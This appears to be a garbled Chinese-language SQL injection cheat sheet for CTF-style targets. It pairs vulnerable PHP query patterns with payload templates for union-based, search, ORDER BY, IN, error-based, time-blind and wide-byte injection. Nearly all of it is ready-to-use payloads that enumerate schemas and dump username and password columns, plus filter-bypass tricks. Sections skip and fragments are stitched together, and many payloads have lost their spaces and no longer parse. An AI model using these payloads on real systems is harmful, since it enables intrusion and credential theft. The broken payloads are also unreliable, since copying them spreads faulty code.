-- ① 判断列数 ?user=admin' order by 3--+ -- ② 判断回显位 ?user=admin'and1=2unionselect1,2,3--+
-- ③ 查库名 ?user=admin' and 1=2 union select 1,database(),3--+ -- ④ 查表名 ?user=admin'and1=2unionselect1,group_concat(table_name),3from information_schema.tables where table_schema=database()--+ ?user=admin' and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1--+ -- ⑤ 查列名 ?user=admin'and1=2unionselect1,group_concat(column_name),3from information_schema.columns where table_name='表名'--+
-- ⑥ 拿数据 ?user=admin' and 1=2 union select 1,group_concat(username,0x3a,password),3 from users--+ -- ⑦ 显示不全 ?user=admin'and1=2unionselect1,substr(group_concat(flag),1,32),3from flag--+
过滤绕过速查
过滤
绕过
示例
单引号
宽字节 %df' 十六进制
?id=1%df' union select 1,2,3--+
addslashes()
宽字节、二次注入
%df' 吃反斜杠
双引号
先闭合双引号
?user=admin" and 1=2 union select 1,2,3--+
空格/关键字
同数字型
双写、大小写、注释
3. 搜索型注入(LIKE)
原理:用户输入拼入 LIKE '%...%',开发以为有 % 包裹就安全。
代码特征:参数在 '%...%' 中间。
1
$sql = "SELECT * FROM users WHERE name LIKE '%{$_GET['kw']}%'";
危险函数:
1
mysqli_query($conn, $sql)
注入模板
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
-- ① 闭合测试 ?kw=%' and 1=1--+ ?kw=%'and1=2--+
-- ② 查库名 ?kw=%' and 1=2 union select 1,database(),3--+ -- ③ 查表名 ?kw=%'and1=2unionselect1,group_concat(table_name),3from information_schema.tables where table_schema=database()--+
-- ④ 查列名 ?kw=%' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='表名'--+ -- ⑤ 拿数据 ?kw=%'and1=2unionselect1,group_concat(username,0x3a,password),3from users--+
-- ⑥ 显示不全 ?kw=%' and 1=2 union select 1,substr(group_concat(flag),1,32),3 from flag--+
过滤绕过速查
过滤
绕过
说明
单引号
宽字节 %df%25'
% 也要考虑编码
百分号 %
_ 匹配单字符
LIKE '_dmin'
空格/关键字
同字符型
双写、大小写
4. 排序注入(ORDER BY)
原理:ORDER BY 后字段名用户可控,无法预编译,开发直接拼接。重灾区。
代码特征:参数在 ORDER BY 后面,通常是排序字段或排序方式。
1
$sql = "SELECT * FROM users ORDER BY {$_GET['sort']}";
-- 查表名 ?page=1PROCEDURE ANALYSE(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),1)--+
-- 显示不全 ?page=1PROCEDURE ANALYSE(extractvalue(1,concat(0x7e,substr((select group_concat(flag) from flag),1,32))),1)--+
-- ===== 联合注入(后面无 ORDER BY 时) =====
?page=1UNIONSELECT1,2,3--+
-- ===== 时间盲注 =====
?page=1and sleep(5)--+
过滤绕过速查
过滤
绕过
示例
逗号 ,
OFFSET 语法
LIMIT 10 OFFSET 1
数字
运算代替
1+12*1
PROCEDURE
换 UNION 或盲注
换注入方式
6. IN 注入
原理:IN (...) 括号内参数用户可控,直接拼接。
代码特征:参数在 IN (...) 括号内。
1
$sql = "SELECT * FROM users WHERE id IN ({$_GET['ids']})";
危险函数:
1
mysqli_query($conn, $sql)
注入模板
1 2 3 4 5 6 7 8 9 10 11 12 13 14
-- ① 闭合测试 ?ids=1) and1=1--+
-- ② 查库名 ?ids=1) and1=2unionselect1,database(),3--+
-- ③ 查表名 ?ids=1) and1=2unionselect1,group_concat(table_name),3from information_schema.tables where table_schema=database()--+
-- ④ 查列名 ?ids=1) and1=2unionselect1,group_concat(column_name),3from information_schema.columns where table_name='表名'--+
-- 查库名 username=admin' and updatexml(1,concat(0x7e,database(),0x7e),1)# -- 查表名 username=admin'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
-- 查列名 username=admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='表名'),0x7e),1)# -- 拿数据 username=admin'and updatexml(1,concat(0x7e,(select group_concat(flag) from flag),0x7e),1)#
-- 显示不全 username=admin' and updatexml(1,concat(0x7e,substr((select group_concat(flag) from flag),1,32),0x7e),1)# -- ===== 时间盲注(无报错时用) ===== username=admin'and if(1=1,sleep(5),0)#
-- ② 查库名 ?id=-1%df' union select 1,database(),3--+ -- ③ 查表名 ?id=-1%df'unionselect1,group_concat(table_name),3from information_schema.tables where table_schema=database()--+
-- ④ 查列名(表名用十六进制,避免单引号) ?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273--+ -- ⑤ 拿数据 ?id=-1%df'unionselect1,group_concat(username,0x3a,password),3from users--+
-- ⑥ 显示不全 ?id=-1%df' union select 1,substr(group_concat(flag),1,32),3 from flag--+